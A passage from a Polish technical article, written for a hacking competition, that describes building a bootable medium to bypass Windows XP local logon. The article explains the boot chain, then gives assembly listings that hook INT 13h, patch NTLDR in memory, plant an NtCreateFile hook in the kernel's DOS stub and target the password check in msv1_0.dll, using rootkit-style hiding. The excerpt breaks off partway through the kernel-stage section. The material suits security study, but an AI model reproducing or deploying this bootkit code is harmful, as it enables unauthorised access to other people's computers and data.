Omijanie zabezpieczeń i logowania systemu windows

background image

VEXILLIUM.ORG

Omijanie zabezpieczeń

lokalnego logowania systemu

Windows – nośniki bootowalne

Wersja polska

Mateusz ‘j00ru’ Jurczyk

2008-10-03

Praca została wykonana w celu zgłoszenia jej na

konkurs organizowany przez hack.pl

background image

2

Spis treści

1 Wstęp

3

2 Właściwy start komputera

5

2.1 Tryb rzeczywisty i jego cechy

5

2.2 Proces bootowania w real mode

6

2.3 Układ pamięci operacyjnej

8

3 Tryb chroniony

9

4 Hakowanie autoryzacji

11

4.1 Cel, plany i założenia

11

4.2 Etap pierwszy - modyfikacja INT13h

13

4.3 Etap drugi – modyfikacja NTLDR

18

4.4 Etap trzeci – modyfikacja jądra

23

5 Przenoszenie kodu na CD-ROM

27

6 Efekt końcowy

30

7 Literatura

32

background image

3

1.

Wstęp

Od samego początku istnienia komputerów i możliwości ich programowania

znajdowane były luki bezpieczeństwa, które w różnoraki sposób dawały możliwość
blokowania rozmaitych usług, uzyskiwania dostępu do chronionych danych, zdalne
wykonywanie kodu na maszynie ofiary itd. Przez lata, wraz z rosnącą ilością firm
zajmujących się tworzeniem oprogramowania, mnożyła się liczba odkrytych dziur
oraz techniki ich znajdowania oraz wykorzystywania.

W trakcie rozwoju kolejnych systemów operacyjnych, języków programowania oraz
ich kompilatorów, powstały dziesiątki ciekawych, nowatorskich technik
zapobiegania zarówno lokalnym, jak i zdalnym atakom wykorzystującym
niedoskonałości software’u. Najbardziej narażone na atak elementy procesu (stos,
sterta itd.) zostały (mniej lub bardziej) skutecznie zabezpieczone przed
standardowymi metodami wykorzystywanymi przez hakerów. Mimo to na
ogólnodostępnej liście bugtraq z dnia na dzień przybywa wiadomości o kolejnych
odkrytych błędach oraz możliwościach ich wykorzystania w praktyce. Proces
znajdowania, łatania i zabezpieczania przed lukami w systemach informatycznych
nabiera coraz większego tempa, powodując nieustanny rozwój powiązanych
technologii.

Niewielu ludzi zdaje sobie jednak sprawę, jak wielkie szkody poczynić może ktoś,
kto ma jedynie fizyczny dostęp do naszej maszyny. Posiadając możliwość
bootowania komputera z dowolnego, przenośnego nośnika danych ma on w
rzeczywistości nieograniczone możliwości. Jeśli nasze dane nie są specjalnie
zabezpieczone przed nieuprawnionym dostępem (np. szyfrowane – sprzętowo lub
programowo), a jedyną ochroną jest ustawione w Windowsie hasło weryfikujące
naszą tożsamość w momencie logowania do systemu, potencjalny włamywacz
mógłby uzyskać dostęp do danych dysku twardego bez większego problemu.

W czym zatem tkwi tajemnica nieograniczonych przywilejów, jakie daje nam
możliwość użycia bootowalnego nośnika? Odpowiedź jest nad wyraz prosta – kod,
który zostaje uruchomiony w trakcie startowania maszyny jest w stanie dowolnie
sterować wykonywaniem systemu operacyjnego, dostępem do zasobów dysku
twardego, obsługą sprzętu i praktycznie każdą inną, wrażliwą częścią naszego
komputera. Może on, przykładowo, zmodyfikować kod odpowiedzialny za
potwierdzania poprawności wprowadzonego w trakcie logowania hasła, tak by
odpowiedź brzmiała zawsze HASŁO POPRAWNE. Inną możliwością jest
zainstalowanie sieciowego backdoora w systemie niczego nie podejrzewającej

background image

4

ofiary. Raz uruchomiony złośliwy kod może więc przynieść nieodwracalne skutki, o
których zaatakowany użytkownik może nie mieć nawet zielonego pojęcia.

Artykuł ten prezentuje techniczne aspekty działania nośnika, który po
wystartowaniu odpowiednio kieruje pracą uruchamianego systemu operacyjnego,
aby ten umożliwił zalogowanie się na dowolne istniejące w systemie konto, bez
znajomości jakichkolwiek danych autoryzacyjnych.

Zapraszam do lektury!

background image

5

2.

Właściwy start komputera

Wbrew powszechnej opinii, proces uruchamiania komputera jest niezwykle
złożony. Składa się z wielu, startujących kolejno elementów, które wykonane
prawidłowo dają możliwość pracy na poprawnie uruchomionym, stabilnym
systemie operacyjnym. Ten oraz następny dział przedstawiają poszczególne etapy
ładowania systemu operacyjnego, od BIOS’u, aż po samo jądro systemu Windows
wraz z niezbędnymi usługami.


2.1 Tryb rzeczywisty

Zanim omówione zostanie działanie kodu dostarczonego przez Microsoft, który
odpowiedzialny jest za ładowanie samego systemu Windows, warto poznać pewne
cechy trybu, w którym znajdujemy się w momencie początkowej fazy uruchamiania
komputera –

trybu rzeczywistego

(ang. real mode).


Pierwszą, najbardziej charakterystyczną cechą jest z pewnością sposób, w jaki
adresowana jest pamięć. Możliwy jest dostęp do jedynie 1MB pamięci operacyjnej
(0 – FFFFFh), adresowanej przy użyciu dwóch 16 bitowych liczb. Jeśli liczby te
oznaczymy kolejno jako A i B, wtedy adres fizyczny, do którego się odwołujemy
tłumaczymy w sposób następujący:

AAAA:BBBB -> A * 10h + B
1000:2345 -> 1000h * 10h + 2345h = 12345h


Pierwsza wartość nazywana jest numerem segmentu, druga zaś to jego przesunięcie.
Jak łatwo zauważyć, jeden adres fizyczny możemy zapisać na wiele sposobów – jest
ich dokładnie 4096.

Architektura

procesora

na którym operujemy, udostępnia 6 rejestrów

segmentowych, takich jak:

CS – segment kodu programu (adres aktualnie wykonywanej instrukcji

procesora to CS:IP)

DS – segment danych programu

SS – segment stosu programu (pełny adres stosu to SS:SP)

ES, FS, GS – rejestry pomocnicze

background image

6

Kolejną właściwością opisywanego trybu jest brak jakiejkolwiek ochrony pamięci
(która wprowadzona została już w trybie chronionym). Wykonywany kod może
pisać i czytać z dowolnego miejsca znajdującego się w adresowalnym zakresie. Dla
naszego projektu jest to zarówno ułatwienie i jak i przeszkoda. Z jednej strony
możemy bez najmniejszych problemów ingerować w systemowe struktury, takie jak
Tablica Deskryptorów Przerwań (ang. Interrupt Descriptor Table, IDT),
manipulując nimi według własnych potrzeb, z drugiej jednak nigdy nie mamy
całkowitej pewności, że kod/dane używane przez nasz program nie zostaną w
nieoczekiwanym momencie nadpisane. Sposób na radzenie sobie z tą
niedogodnością zostanie opisany w dalszej części artykułu.

Ostatnią interesującą cechą jest brak wielowątkowości, który na szczęście nie
stwarza dodatkowych problemów implementacyjnych.

Poniżej znajduje się lista plusów i minusów real mode, wynikających z powyższych
właściwości:

Możliwość kontrolowania danych przepływających przez przerwania (IDT)

Brak ochrony pamięci

Bezpośredni dostęp do fizycznych danych nośników

Utrudniona alokacja pamięci

Niewielka przestrzeń adresowa

Utrudnione debuggowanie (w przypadku fizycznych urządzeń)


2.2 Elementy bootowania trybu rzeczywistego

Sam proces ładowania systemu w trybie rzeczywistym to złożony mechanizm.
Poniżej znajduje się lista komponentów składających się na 16-bitową całość
loadera Windows, wraz ze szczegółowym opisem.

BIOS (Basic Input/Output System) – kod znajdujący się w pamięci stałej płyty

głównej, ładowany do pamięci pod adresem E0000h i uruchamiany w momencie
włączania komputera. Jest odpowiedzialny za podstawowe testy sprzętu (POST –

Power On Self Test

), inicjalizację urządzeń wejścia/wyjścia oraz załadowanie i

uruchomianie programu rozruchowego z wybranego bootowalnego nośnika danych.

background image

7

MBR (Master Boot Record) – Pierwszy sektor dysku twardego, zawiera

program rozruchowy systemu oraz tabelę partycji. Zostaje załadowany przez BIOS
na adres fizyczny 07C00h (zapisywany najczęściej jako para 0000:7C00), skąd sam
kopiuje się pod 0061Bh, a następnie znajduje partycję oznaczoną jako Bootable,
ładuje pierwszy sektor tej partycji ponownie na adres 07C00h i przekazuje
wykonywanie dalej.

seg000:0000 xor ax, ax
seg000:0002 mov ss, ax
seg000:0004 mov sp, 7C00h
seg000:0007 sti
seg000:0008 push ax
seg000:0009 pop es
seg000:000A push ax
seg000:000B pop ds
seg000:000C cld
seg000:000D mov si, 7C1Bh
seg000:0010 mov di, 61Bh
seg000:0013 push ax
seg000:0014 push di
seg000:0015 mov cx, 1E5h
seg000:0018 rep movsb
seg000:001A retf

Listing 1. Kod MBR odpowiedzialny za przenos

zenie swojego ciała pod adres 0000:061Bh

Budowa:

512 bajtów

446 bajtów

64 bajty (4 x 16)

2

bajty

bootstrap

Partycja

1

Partycja

2

Partycja

3

Partycja

4

0x55
0xAA

Pierwsza część to kod wykonywalny, opisany powyżej. Kolejne 64 bajty to tablica
zawierająca informacje o partycjach, używana w kodzie bootstrap’u. Każda z 4
partycji opisana jest przez 16 bajtową strukturę. Ostatnie 2 bajty to sygnatura MBR.

VBR (Volume Boot Record) – Pierwszy sektor partycji wybranej przez MBR.

Jego struktura zależna jest od systemu plików (FAT32/NTFS/inne), o którym
zawiera podstawowe informacje. Jako, że całość kodu jest zbyt duża, by zmieścić
się w jednym sektorze, kolejne części VBR są sukcesywnie wczytywane do pamięci
w momencie, kiedy stają się potrzebne. Jego głównym zadaniem jest znalezienie
pliku o nazwie NTLDR w katalogu głównym partycji, a następnie wczytanie jego
zawartości pod adres 20000h (2000:0000). Załadowany plik składa się z dwóch
części – programu trybu rzeczywistego, który opisany został poniżej oraz pliku

background image

8

wykonywalnego PE, pracującego już w trybie chronionym. Jeśli wszystko się
powiedzie, wykonywanie zostaje przekazane do pierwszej części NTLDR.

NT Loader (część pierwsza) – Jest to 16-bitowy program, będący jednocześnie

ostatnim ogniwem łańcucha bootowania trybu rzeczywistego. Jego celem jest
inicjalizacja niezbędnych elementów środowiska i przełączenie procesora w tryb
chroniony. Następnie następuje załadowanie do pamięci drugiej części loadera (już
z użyciem adresowania 32-bitowego) i uruchomienie go.

2.3

Układ pamięci operacyjnej






























Rysunek 1. Uproszczony układ pamięci tuż przed przejściem w tryb chroniony

background image

9

3. Tryb chroniony

Tryb chroniony zawiera wiele poprawek i usprawnień względem starszego trybu
rzeczywistego. Pamięć jest adresowana za pomocą 32-bitowych wartości,
umożliwiając tym samym dostęp do maksymalnie ponad 4GB pamięci. Zawiera też
wsparcie wielowątkowości, stronicowanie oraz ochronę pamięci, której tak bardzo
brakowało real mode. To właśnie w tym trybie wykonywana jest cała dalsza część
procesu ładowania systemu.

Poniżej znajduje się lista interesujących nas komponentów bootowania
32-bitowego, które w niedługiej przyszłości staną się naszym bezpośrednim celem.

OSLOADER.exe (druga część pliku NTLDR) – standardowy plik PE

(Portable Executable). Do jego zadań należy parsing pliku konfiguracyjnego
boot.ini, opcjonalnie wyświetlenie menu wyboru systemu operacyjnego, obsługę
specjalnych opcji bootowania (dostępnych po naciśnięciu klawisza F8). Po
wykonaniu tych czynności OsLoader zabiera się za znacznie ważniejsze rzeczy –
ładuje do pamięci podstawowe elementy jądra – NTOSKRNL.exe i HAL.dll – oraz
sterowniki oznaczone jako boot driver. Jeśli wszystko się powiedzie, wykonywanie
zostaje przekazane do załadowanego wcześniej kernela systemu.

NTOSKRNL.exe jądro systemu Windows. Interesującą częścią tego

niemałego pliku wykonywalnego jest kod odpowiedzialny za obsługę wywołania
systemowego o nazwie NtCreateFile, służącego m.in. do otwierania i tworzenia
plików na dysku twardym.

LSASS.exe, LSASRV.dll (Local Security Authority Subsystem Service) – pliki

aplikacji odpowiadającej za bezpieczeństwo systemu. Weryfikuje dane logujących
się użytkowników, pośredniczy w operacjach zmiany haseł itd. Jest to proces, który
jest celem naszego ataku. Jedną z bibliotek używanych przez LSASS jest
msv1_0.dll, będąca odpowiedzialna bezpośrednio za weryfikację danych
wprowadzonych przez lokalnie logującą się osobę. Odpowiednia modyfikacja tejże
biblioteki może pozwolić na całkowite ominięcie procesu autoryzacji, dając
nieograniczony dostęp do zasobów komputera.

Poszczególne elementy ładowania systemu zostały przedstawione na rysunku 2.

background image

10




Graf opisujący

architekturę LSASS

widoczny jest na rysunku 3.





Rysunek 2. Komponenty składające się na całośd procesu bootowania i ładowania systemu
Windows

Rysunek 3. Zależności pomiędzy poszczególnymi elementami modułu logowania Windows. Nasz
cel to msv1_0.dll z którym, w momencie próby logowania, łączy się lsasrv.dll
źródło: http://technet.microsoft.com/en-us/library/cc780455.aspx

background image

11

4.

Hakowanie autoryzacji

4.1

Cel, plany i założenia

Przed zabraniem się za pisanie samego kodu bootsectora naszego nośnika, należy
przedstawić plany i założenia, jakimi będziemy kierować się w trakcie tworzenia
naszego hacka.

Założenia ogólne

- Tworzymy łańcuch modyfikacji tak, że wcześniejszy element ładowania

modyfikuje następny, aż do osiągnięcia dostępu do LSASS

- Całość MUSI mieścić się w obszarze bootsectora – 512 bajtach kodu

maszynowego

- Nie wykonujemy ŻADNYCH operacji na dysku twardym – wszystkie zmiany

przeprowadzane są tylko i wyłącznie w pamięci

Niezbędne wiadomości o msv1_0.dll

- Pełna nazwa to Microsoft Authentication Package v1.0
- Zostaje wywoływana bezpośrednio przez Lsasrv.dll, od której to biblioteki
otrzymuje nazwę użytkownika i hasło użyte przy logowaniu
- Łączy się z bazą SAM, a następnie porównuje poprawny hash oraz hash
wprowadzonego hasła.
- Jeśli podane dane weryfikacyjne zostaną uznane za poprawne, msv1_0 zwraca
informację o udanym logowaniu
- Kod, który nas interesuje, przedstawiony jest w listingu 2.
- Kod ten należy do wewnętrznej funkcji MsvpPasswordValidate

.text:77C6989D loc_77C6989D:
.text:77C6989D 6A 10 push 10h

; Length

.text:77C6989F 83 C3 34 add ebx, 34h
.text:77C698A2 53 push ebx

; Source2

.text:77C698A3 56 push esi

; Source1

.text:77C698A4 FF 15 30 12 C6 77 call RtlCompareMemory
.text:77C698AA 83 F8 10 cmp eax, 10h
.text:77C698AD 75 11 jnz short loc_77C698C0
.text:77C698AF
.text:77C698AF loc_77C698AF:
.text:77C698AF B0 01 mov al, 1

.text:77C698C0 loc_77C698C0:
.text:77C698C0 32 C0 xor al, al

Listing 2. Funkcja RtlCompareMemory

porównująca 16-bajtowe ciągi oraz wytłuszczony

modyfikowany skok warunkowy jnz

background image

12

Elementy modyfikowane

- Tablica deskryptorów przerwań (ang. Interrupt Descriptor Table – IDT)
tablica 256 elementów będących wskaźnikami na funkcje obsługujące konkretne
przerwania. Każdy ze wskaźników jest standardowym adresem trybu
rzeczywistego – składa się z dwóch 16-bitowych wartości. Adres IDT to
0000:0000, zajmuje ona 256*4=1024 bajtów, a więc kończy się na 0000:0400.
Jedynym interesującym nas przerwaniem jest przerwanie o numerze 13h,
odpowiedzialne za operacje odczytu sektorów z nośników danych. Adres owej
funkcji znajduje się pod adresem 13h*4 = 0000:004C. Własny kod, którym
zastąpimy standardową funkcję INT13h będzie modyfikował dalszy element –
drugą część NTLDR (OsLoader.exe)

- OsLoader.exe – zostaje spatchowany w miejscu, w którym kernel systemu jest
już obecny w pamięci. Wstrzyknięty przez nas kod ma za zadanie znaleźć
wyeksportowaną funkcję NtCreateFile i ustawić w niej tzw. hak (ang. hook).

- Ntoskrnl.exe – Funkcja obsługi plików jest przekierowana do kodu
znajdującego się w DOS Stub kernela. Kiedy wykryta zostaje próba dostępu do
odpowiednio zdefiniowanego przez nas pliku, kod funkcji msv1_0.dll jest
zmodyfikowany, a hak funkcji NtCreateFile zdjęty.

- NTLM – ostatnie ogniwo łańcucha modyfikacji, w momencie próby
logowania przepuszcza błędne hasła.

Na rysunku 4 widoczne są kolejne elementy bootowania, wraz z odpowiednimi
oznaczeniami miejsc, które patchowane są w trakcie działania hacka.














Rysunek 4. Oznaczone komponenty biorące udział w ataku na moduł logowania

background image

13

4.2 Etap pierwszy - modyfikacja INT13h

Jednym z założeń całego projektu jest brak jakichkolwiek operacji wykonywanych
na dysku twardym. Wiąże się z tym kilka rzeczy. Między innymi, nasz kod musi tak
modyfikować pamięć do której w danej chwili ma dostęp tak, by na końcu zostać
zakamuflowana w obszarze pamięci kernela oczekując na dogodny moment, by
usunąć skok warunkowy znajdujący się w jednej z bibliotek LSASS.

Znaczy to ni mniej ni więcej tyle, że całość kodu znajdującego się w naszym
bootsectorze musimy podzielić na podbloki, każdy z nich wykonywany w innym
momencie procesu bootowania. Kiedy jedna z funkcji naszego projektu zostaje
wywołana, wykonuje niezbędne modyfikacje pamięci tak, by kolejna część kodu
mogła zostać wywołana w odpowiednim czasie, a następnie przekazuje
wykonywanie z powrotem do oryginalnego kodu loadera Windows. Nasz kod
zwyczajnie przeplata się z kodem programu ładującego, który sukcesywnie
modyfikujemy.

Pierwszą częścią projektu jest fragment wywoływany bezpośrednio przez BIOS.
Jego celem jest ustawienie haka na wcześniej wspomniane przerwanie o numerze
13h, załadowanie MBR dysku twardego (tak, jak zrobiłby to BIOS w przypadku
bootowania z HDD) i przekazanie mu wykonywania. Jako, że pierwszy sektor
naszego nośnika został załadowany pod adres, na którym docelowo znaleźć ma się
MBR, musimy wcześniej przenieść resztę kodu w miejsce, które w trakcie działania
loadera nie zostanie nadpisane.

Listing 3 przedstawia wspomniany pierwszy fragment bootsectora, odpowiedzialny
za hookowanie przerwania odpowiedzialnego m.in. za operacje Read i Extended
Read.

; [1]
TEMP_STACK

equ 0x3000

BOOTCODE_ADDR

equ 0x4000-0x200

MBR_ADDR

equ 0x7C00

INT13_ADDR

equ 13h * 4


MSV1_0_PATCH_ADDR equ 077C699B9h

[bits 16]
[org BOOTCODE_ADDR]

start:
jmp 0:MBR_ADDR+5

background image

14

; [2]

mov cx, TEMP_STACK
mov ss, cx
xor cx, cx
mov sp, cx

mov ds, cx
mov es, cx

; [3]
pushad

mov ax, 0201h
inc ecx
cwd
mov bx, BOOTCODE_ADDR
int 13h

jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR

_HOOK_INTERRUPT_GOTO_MBR:

; [4]
mov ax, 0201h
or dl, 10000000b
mov bh, (MBR_ADDR>>8)
int 13h

; [5]
mov eax, [INT13_ADDR]
mov [INT13HANDLER], eax
mov dword [INT13_ADDR], @INT13HOOK_OFF

; [6]
popad

jmp MBR_ADDR

Listing 3.

Kod odpowiedzialny za skopiowanie się na adres 0x03E00, wczytanie MBR oraz

zainstalowanie hooka

w Tablicy Deskryptorów Przerwań


Omówmy pokrótce kolejne fragmenty powyższego kodu.
Fragment [1] to deklaracje stałych wartości używanych w dalszej części kodu. Są to
kolejno: adres tymczasowego stosu, adres pamięci gdzie znajduje się nasz
bootsector przez cały okres działania real mode, adres pod który ładowany zostaje
MBR oraz adres wskaźnika funkcji obsługującego modyfikowane przerwanie. Piąta
linia zawiera stały adres patchowanego na samym końcu kodu msv1_0.dll.

background image

15

Właściwa część źródła – kod wykonywalny zaczyna się od instrukcji FAR JUMP,
która upewnia nas, że znajdujemy się pod adresem 0000:7C00, a nie np. 07C0:0000
(co mogłoby sprawić w przyszłości spore problemy).
Następnie we fragmencie [2] ustawiony zostaje tymczasowy stos, na którym
możemy bezpiecznie operować, rejestrom segmentowym przydzielane są
odpowiednie wartości. Stan wszystkich rejestrów zachowany zostaje przez
instrukcję [3], po której następuje ponowne wczytanie naszego bootsectora pod
ustalony wcześniej, bezpieczny adres. Używany do tej pory adres 7C00h zaraz
potem zajęty zostaje przez MBR w miejscu oznaczonym jako [4]. Kolejne linie
kodu odpowiadają za ustawienie opisywanego wcześniej hooka, przywrócenie
wartości rejestrów i skok pod adres definiowany przez

MBR_ADDR.

Prosty schemat przedstawiający łańcuchy haków przerwań przedstawiony został na
rysunku 5.
















Należałoby się zastanowić, co w rzeczywistości robić ma kod haka, który dopiero
co został założony. Przydatnym wydaje się fakt, że nasz kod wywoływany zostaje
za każdym razem, gdy z dysku twardego odczytywane są jakieś dane, co daje nam
możliwość pełnej kontroli danych przepływających przez przerwanie.

Ja zdecydowałem się na wykorzystanie techniki użytej wcześniej w rootkicie
MEBROOT oraz projekcie SysRq autorstwa eEye Research, polegającej na
bezpośredniej modyfikacji kodu drugiej części NTLDR – pliku OSLOADER.EXE,

Rysunek 5. Tablica deskryptorów przerwao – przekierowanie na adres 0000:4E42,
wywołujące następnie oryginalny handler spod adresu F000:E3FE

background image

16

jako, że jego zawartość wczytywana jest wciąż poprzez kontrolowane przez nas
przerwanie trzynaste, a czyni to Volume Boot Record. Mamy w ten sposób dostęp
do kodu wykonywanego już po przejściu w tryb chroniony, co daje nam dodatkowe
możliwości. Adres 0x00422A6F został uznany za odpowiednie miejsce na
wstrzyknięcie własnego kodu – w momencie dojścia wykonywania programu do tej
lokalizacji NTOSKRNL.EXE jest już obecny w pamięci. Wstrzyknięty kod może
zatem od samego początku działania systemu sterować działaniem syscalli –
podstawowych funkcji eksportowanych przez jądro, którymi operuje każda
działająca wewnątrz aplikacja.

Oto jak przedstawia się schemat działania podstawionego przez nas handlera:

Sprawdź, czy żądana operacja to

READ

lub

EXTENDED READ

(czytanie z

dysku)

Jeśli nie, skacz do oryginalnej funkcji

Za pomocą instrukcji CALL wywołaj oryginalny handler

Jeśli operacja odczytu nie powiodła się, wyjdź

Sprawdź, czy we wczytanych danych znajduje się sygnatura, która powinna
zostać podmieniona

Jeśli tak, modyfikuj odpowiednie dane, wstrzykując własny kod do
ładowanego pliku

Przywróć początkowy stan stosu i wyjdź

Funkcja taka została napisana i świetnie zoptymalizowana przez badaczy eEye
Research
, pozwoliłem więc sobie posłużyć się nim we własnym projekcie – można
znaleźć ją w listingu 4.

@INT13HOOK_OFF equ $
@Int13Hook:

cli
pushf
cmp

ah, 42h

; IBM/MS INT 13 Extensions - EXTENDED READ

je

short @Int13Hook_ReadRequest

cmp

ah, 02h

; DISK - READ SECTOR(S) INTO MEMORY

je

short @Int13Hook_ReadRequest

popf

db

0EAh

; JMP FAR INT13HANDLER

INT13HANDLER EQU $

dd

0


@Int13Hook_ReadRequest:

background image

17

mov [cs:INT13LASTFUNCTION], ah

;
; Invoke original handler to perform read operation
;
popf
pushf

; push Flags because we're simulating an INT

call

far [cs:INT13HANDLER] ; call original handler

jc

short @Int13Hook_ret ; abort immediately if read failed

pushf
cli
push

es

pusha

;
; Adjust registers to emulate an AH=02h read if AH=42h was used
;

mov

ah, 00h

INT13LASTFUNCTION EQU $-1
cmp

ah, 42h

jne

short @Int13Hook_notextread

lodsw
lodsw

; 02h WORD number of blocks to

transfer

les

bx, [si]

; 04h DWORD transfer buffer


@Int13Hook_notextread:

;
; Scan sector for a signature of the code we want to modify
;

test

al, al

jle

short @Int13Hook_scan_done

cld

mov

cl, al

mov

al, 8Bh

shl

cx, 9

; (AL * 200h)

mov

di, bx


@Int13Hook_scan_loop:

; 8B F0 MOV ESI, EAX

; 85 F6 TEST ESI, ESI

; 74 21 JZ $+23h

; 80 3D ... CMP BYTE PTR [ofs32], imm8

; (the first 6 bytes of this signature exist in other modules!)

background image

18

repne scasb
jne

short @Int13Hook_scan_done

; NOTE!
; The patched NTLDR code is placed at 0x422a6f
; on the up-to-date Windows XP SP2 version.

cmp

dword [es:di], 74F685F0h

jne

short @Int13Hook_scan_loop

cmp

word [es:di+4], 8021h

jne

short @Int13Hook_scan_loop

mov

word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [ofs32]

mov dword [es:di+1], @SyscallHookAddr


@Int13Hook_scan_done:

popa
pop

es

popf


@Int13Hook_ret:

retf 2 ; discard saved Flags from original INT (pass back CF,

etc.)

Listing 4. Kod naszego handlera, znajdującego odpowiednią sygnaturę w momencie
wczytywania całości pliku NTLDR i zmieniającego ją na kod przekierowujący


Kiedy nasza funkcja znajdzie już dane, które powinna podmienić, wstawia w ich
miejsce kod operacji (ang. opcode) instrukcji CALL [imm32]:

mov word [es:di-1], 15FFh

; FFh/15h: CALL NEAR [imm32]

mov dword [es:di+1], @SyscallHookAddr

tj. wywołania funkcji, do której wskaźnik znajduje się pod stałym, 32-bitowym
adresem będącym argumentem tejże instrukcji. W naszym przypadku pointer ten
znajduje się w zmiennej

@SyscallHookAddr,

i wskazuje na adres kolejnego bloku

kodu, do którego prowadzi właśnie wstawione w NTLDR wywołanie.


4.3 Etap drugi

– modyfikacja NTLDR

Po przejściu do dalszej części loadera VBR i odczekaniu niedługiego czasu, w
którym to uruchamiana zostaje pierwsza, a następnie druga część NTLDR,

background image

19

ponownie odzyskujemy kontrolę wykonywania, tym razem w znacznie ciekawszym
miejscu.
W tym momencie możemy dowolnie i bez konsekwencji „grzebać” w całej pamięci
jądra Windows, nie ponosząc żadnych konsekwencji. Jest to stan, w którym sam
kernel nie jest jeszcze wykonywany, a więc absolutnie żadne oprogramowanie nie
ma większych praw od tych, które aktualnie posiada nasz kod, znajdujący się pod

@SyscallHookAddr.

Proponowaną w tym momencie taktyką jest ustawienie kolejnego przekierowania,
tym razem w jednej (wspomnianej wcześniej) z funkcji eksportowanych przez sam
kernel - funkcja ta jest równocześnie handlerem przerwania systemowego o nazwie
NtCreateFile. Wstrzykując do niej własny kod, możemy „podpiąć” się do
dowolnego procesu wykorzystującego w danym momencie tę funkcję, a następnie
zmodyfikować pewne obszary pamięci tego procesu, jak na przykład kod jednej z
bibliotek.

Poważnym problemem, na który można natknąć się w tym momencie to trudność ze
znalezieniem odpowiedniego miejsca na kod, do którego miałoby odwoływać się
przekierowanie. Nie może to być używany wcześniej adres 0x3E00, gdyż jest on
poprawny jedynie w trybie rzeczywistym – w trybie chronionym nie ma
bezpośredniego dostępu do tego typu niskich obszarów pamięci, które
wykorzystywane były w początkowych fazach bootowania.

Autor zdecydował się na użycie zawartości tzw. DOS Stub – krótkiego programu
obecnego w każdym pliku PE, który uruchamiany jest w momencie próby odpalenia
Windowsowej aplikacji pod systemem DOS – pliku NTOSKRNL.exe. Pamięć ta nie
jest nigdy wykorzystywana w trakcie działania systemu, a mimo to znajduje się
wewnątrz pamięci przeznaczonej dla samego kernela, co pomaga ukryć się przed
pewną liczbą anty-rootkitów.
Miejsce to znajduje się 40h (64d) bajtów za adresem bazowym jądra i jest wielkości
ok. 168 bajtów, a więc taka jest górna granica rozmiaru naszego kodu,
wywoływanego każdorazowo w momencie użycia funkcji NtCreateFile.



@SyscallHookAddr dd @HookSyscall
@HookSyscall:

pushfd
pushad

cld

mov

edi, [esp+24h]

background image

20

and

edi, 0FFF00000h


mov

al, 0C7h


@PatchFunction_mlsigloop:

scasb
jne

short @PatchFunction_mlsigloop


cmp

dword [edi], 40003446h

jne

short @PatchFunction_mlsigloop


mov

al, 0A1h


@PatchFunction_mlbaseloop:
scasb
jne

short @PatchFunction_mlbaseloop


mov

esi, [edi]

mov

esi, [esi]

lodsd

mov

ebx, [eax+18h]


call GetExportedFuncAddr
mov dword [_NtCreateFileSyscallAddrFirst], eax
mov dword [_NtCreateFileSyscallAddrSecond], eax
add ebx, 40h
mov dword [_DosStubHookAddr] , ebx

mov byte [eax], 0E9h
inc eax
mov ecx, eax
neg ecx

lea edx, [ebx+ecx-5+1]
mov dword [eax], edx

mov edi, ebx ; edi
mov esi, NT_CREATE_FILE_HOOK_START
mov ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START
rep movsb

popad
popf

mov esi, eax
test eax, eax
jnz _no_cond_jmp

_cond_jmp:
add dword [esp], 21h
_no_cond_jmp:

background image

21

Ret

Listing 5. Kod wykonywany po przekierowaniu z NTLDR

Przedstawiony wyżej, trzeci już fragment naszego kodu odpowiada za odnalezienie
poprawnego adresu, pod który załadowane zostało jądro systemu, a następnie
wykorzystanie tej informacji w celu odszukania adresu wyeksportowanej funkcji,
która ma zostać spatchowana. W tym celu wywołana zostaje funkcja

GetExportedFuncAddr,

której działanie omówione zostanie w dalszej części

artykułu.

Po jej odnalezieniu mamy do czynienia z kolejnymi operacjami:

Adres jądra zostaje zapisany w dwóch miejscach

W miejsce pierwszych pięciu bajtów znalezionej funkcji zostaje wstawiona
funkcja JMP imm32 – skok pod zdefiniowany przez nas adres, w tym przypadku
ImageBase+40h.

Kod, do którego prowadzi przekierowanie zostaje skopiowany do „bufora” w
DOS Stub’ie przy użyciu instrukcji rep movsb

Wartości flag i rejestrów są przywrócone, a następnie instrukcje NTLDR, które
zostały nadpisane przez skok do miejsca w którym aktualnie jesteśmy zostają
wykonane.



Rysunek 7. Zmodyfikowany DOS
Stub i jedna z funkcji kernela

Rysunek 6. NTOSKRNL.EXE w
oryginalnej postaci

background image

22

Na rysunkach 6 i 7 przedstawione zostały struktury pliku PE kernela w pamięci
przed i po modyfikacji (hook na funkcję + zmodyfikowany DOS Stub).

Do omówienia została jeszcze tajemnicza funkcja GetExportedFuncAddr, która
przyjmując w rejestrze EBX adres bazowy jądra zwraca adres jednej z
eksportowanej przez niego funkcji. Jej kod jest odpowiedzialny za przejście przez
kolejne struktury pliku PE, a następnie wylistowanie wszystkich udostępnionych
„na zewnątrz” funkcji, gdzie każda nazwa zostaje porównana do stałego ciągu,
jakim jest właśnie 12-bajtowa nazwa NtCreateFile.

W celu lepszego zrozumienia działania poszczególnych fragmentów, komentarze
obecne w oryginalnym kodzie projektu zostały pozostawione.

GetExportedFuncAddr:
xor

eax, eax


mov

ecx, [ebx+3Ch]

; RVA of PE header

mov

ebp, [ebx+ecx+78h]

; RVA of export directory

add

ebp, ebx

; ptr to export directory


xor ecx, ecx ; iterator
mov edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions
mov edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames
mov eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals

; turn these values into VAs
add

edi, ebx

add edx, ebx
add eax, ebx

@search_loop:

mov esi, [edi+4*ecx] ; get the current function's name
add esi, ebx ; and make a virtual address from it

cmp ecx, [ebp+18h] ; check if there are no more functions exported
jge _retloc
inc ecx

cmp dword [esi], 07243744eh ; "NtCr"
jnz @search_loop
cmp dword [esi+4], 065746165h ; "eate"
jnz @search_loop
cmp dword [esi+8], 0656c6946h ; "File"
jnz @search_loop

dec ecx ; ecx <--- function ID in export table
movzx eax, word [eax+ecx*2] ; eax <--- function ordinal

background image

23

mov eax, dword [edx+eax*4] ; eax <--- function address
add eax, ebx

_retloc:
ret

Listing 6. Funkcja GetExportedFuncAddr


4.4 Etap trzeci

– modyfikacja jądra

W chwili obecnej sytuacja przedstawia się następująco: kod, do którego wiedzie
przekierowanie syscalla może wykonywać dowolne operacje, jak gdyby należał do
